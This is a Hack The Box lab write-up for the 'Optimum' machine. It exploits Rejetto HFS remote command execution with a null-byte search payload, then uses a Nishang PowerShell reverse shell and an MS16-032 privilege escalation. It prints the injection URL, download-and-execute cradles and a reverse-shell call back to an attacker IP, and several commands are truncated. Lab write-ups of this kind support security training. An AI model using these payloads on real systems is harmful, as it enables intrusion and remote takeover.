Optimum
Last updated
Last updated
IP: 10.10.10.9
User: d0c39409d7b994a9a1389ebf38ef5f73
Root: 51ed1b36553c8461f4552c2e92b3eeed
Rejetto HTTP File Server (HFS) 2.3.x - Remote Command Execution
Rejetto HttpFileServer (HFS) is vulnerable to remote command execution attack due to a poor regex in the file ParserLib.pas. This module exploits the HFS scripting commands by using '%00' to bypass the filtering. This module has been tested successfully on HFS 2.3b over Windows XP SP3, Windows 7 SP1 and Windows 8.
MS16-032 - Microsoft Windows 7 < 10 / 2008 < 2012 R2 (x86/x64) - Local Privilege Escalation
Nmap
UDP
Port 80 in browser
Version number on page and in sourcecode:
Searchsploit
Copy to current dir
Modify the file with
Requires nc in current dir server over port 80 and start a listener on port 443
Execute the script
Now you have a low priv shell
Proof
That’s the easy way. There is also a metasploit module. Harder way, via the webapp.
Null bytes allow code execution
Send that to the repeater and ping your localhost
Use TCP dump to see if you can see the ping
Now download nishang
Copy powershell command to local folder (do not edit)
cp nishang/Shells/Invoke-PowerShellTcp.ps1 .
Add the following to the bottom of the file
Check you can ping with powershell
/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe ping 10.10.14.2}
Check with tcpdump which should respond.
Replace ping with the following which needs to be URL encoded.:
After a while you will have a Powershell shell.
Run systeminfo and Sherlock.ps1 from within powershell
It appears its vulnerable to MS16-032
We do not have an interactive session so will need to download Empire to elevate our privileges
cp /root/Data/Lab/Hackthebox/HackTheBox/10.10.10.8/10.10.10.8/Empire/data/module_source/privesc/Invoke-MS16032.ps1
Modify with this line at the bottom
Copy existing powershell tcp script to shell.ps1
Amend the last line to the following and set up a nc listener on port 444
Invoke-PowerShellTcp -Reverse -IPAddress 10.10.14.2 -Port 444
Execute the following as a low priv user:
Wait for a while and you will receive a system shell.
Evidence
git clone
/?search=%00{.exec|C:\Windows\SysNative\WindowsPowershell\v1.0\powershell.exe IEX(New-Object Net.WebClient).downloadString('
IEX(New-Object Net.WebClient).DownloadString("
")
git clone
Invoke-MS16032 -Command "iex(New-Object Net.WebClient).DownloadString('
')"
IEX(New-Object Net.WebClient).DownloadString("
")